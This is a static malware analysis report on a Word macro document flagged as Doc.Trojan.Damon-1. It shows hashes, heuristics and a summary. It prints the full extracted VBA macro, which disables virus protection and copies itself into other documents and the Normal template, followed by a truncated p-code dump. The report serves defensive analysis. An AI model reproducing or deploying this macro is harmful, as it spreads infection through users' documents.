Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 94e635b1809ea552…

MALICIOUS

Office (OLE)

35.0 KB Created: 2000-03-06 16:23:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6b7bba50481e8fee27146a46e37f8da5 SHA-1: 434dacc86296c1490bc872e7872e01249d803688 SHA-256: 94e635b1809ea55211d5f111ebb8410432174fa8d91254b3af3f6de395ddde6f
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature 'Doc.Trojan.Damon-1'. It contains a VBA macro that executes upon opening the document, as indicated by the 'Document_Open' macro firing. This macro attempts to copy its code to other documents and the Normal template, suggesting a self-propagation or persistence mechanism. The macro also disables virus protection, which is a common tactic for malware.

Heuristics 3

  • ClamAV: Doc.Trojan.Damon-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Damon-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7676 bytes
SHA-256: 24e391be947147555b2dca8e66f29c567769646938cfaf2be9027a383dfff2c6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Options.VirusProtection = 0
Options.SaveNormalPrompt = 0
Options.ConfirmConversions = 0

If Day(Now) = 25 And Month(Now) = 12 Then
    Randomize: For CE4470 = 1 To (Int(Rnd * 70))
    ActiveDocument.Shapes.AddShape(Int(Rnd * 120), Int(Rnd * 200), Int(Rnd * 500), Int(Rnd * 500), Int(Rnd * 500)).Select
    Selection.ShapeRange.Fill.ForeColor.RGB = RGB(Int(Rnd * 255), Int(Rnd * 255), Int(Rnd * 255))
    Selection.ShapeRange.Fill.Visible = msoTrue
    Selection.ShapeRange.Fill.Solid: Next CE4470:
End If


TD = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
If Documents.Count > 1 Then
A = Int(Rnd * Documents.Count) + 1
If A > Documents.Count Then A = A - 1
If Documents.Item(A) = ThisDocument Then End
Set Target = Documents.Item(A).VBProject.VBComponents.Item(1).CodeModule
Target.DeleteLines 1, Target.CountOfLines
Target.AddFromString TD
Documents.Item(A).SaveAs FileName:=Documents.Item(A).FullName
Set Host = ThisDocument.VBProject.VBComponents.Item(1).CodeModule
Host.DeleteLines 1, Host.CountOfLines
ThisDocument.SaveAs FileName:=ThisDocument.FullName
Else
If ThisDocument = ActiveDocument Then
Set Target = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
Target.DeleteLines 1, Target.CountOfLines
Target.AddFromString TD
Set Host = ThisDocument.VBProject.VBComponents.Item(1).CodeModule
Host.DeleteLines 1, Host.CountOfLines
ThisDocument.SaveAs FileName:=ThisDocument.FullName
End If
If ThisDocument = NormalTemplate Then
Set Target = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
Target.DeleteLines 1, Target.CountOfLines
Target.AddFromString TD
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
Set Host = ThisDocument.VBProject.VBComponents.Item(1).CodeModule
Host.DeleteLines 1, Host.CountOfLines
End If
End If
End Sub
'Nomad By Lys Kovick

' Processing file: /opt/analyzer/scan_staging/2bcbf8b71c904df18b03a9e70ce4b990.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3898 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #3:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #4:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #5:
' Line #6:
' 	Ld Now 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x0019 
' 	Eq 
' 	Ld Now 
' 	ArgsLd Month 0x0001 
' 	LitDI2 0x000C 
' 	Eq 
' 	And 
' 	IfBlock 
' Line #7:
' 	ArgsCall Read 0x0000 
' 	BoS 0x0000 
' 	StartForVariable 
' 	Ld CE4470 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld Rnd 
' 	LitDI2 0x0046 
' 	Mul 
' 	FnInt 
' 	Paren 
' 	For 
' Line #8:
' 	Ld Rnd 
' 	LitDI2 0x0078 
' 	Mul 
' 	FnInt 
' 	Ld Rnd 
' 	LitDI2 0x00C8 
' 	Mul 
' 	FnInt 
' 	Ld Rnd 
' 	LitDI2 0x01F4 
' 	Mul 
' 	FnInt 
' 	Ld Rnd 
' 	LitDI2 0x01F4 
' 	Mul 
' 	FnInt 
' 	Ld Rnd 
' 	LitDI2 0x01F4 
' 	Mul 
' 	FnInt 
' 	Ld ActiveDocument 
' 	MemLd Shapes 
' 	ArgsMemLd AddShape 0x0005 
' 	ArgsMemCall Set 0x0000 
' Line #9:
' 	Ld Rnd 
' 	LitDI2 0x00FF 
' 	Mul 
' 	FnInt 
' 	Ld Rnd 
' 	LitDI2 0x00FF 
' 	Mul 
' 	FnInt 
' 	Ld Rnd 
' 	LitDI2 0x00FF 
' 	Mul 
' 	FnInt 
' 	ArgsLd RSet 0x0003 
' 	Ld Selection 
' 	MemLd ShapeRange 
' 	MemLd Fill 
' 	MemLd ForeColor 
' 	MemSt RSet 
' Line #10:
' 	Ld msoTrue 
' 	Ld Selection 
' 	MemLd ShapeRange 
' 	MemLd Fill 
' 	MemSt Visible 
' Line #11:
' 	Ld Selection 
' 	MemLd ShapeRange 
' 	MemLd Fill 
' 	ArgsMemCall Solid 0x0000 
' 	BoS 0x0000 
' 	StartForVariable 
' 	Ld CE4470 
' 	EndForVariable 
' 	NextVar 
' 	BoS 0x0000 
' Line #12:
' 	EndIfBlock 
' Line #13:
' Line #14:
' Line #15:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld ThisDocument 
... (truncated)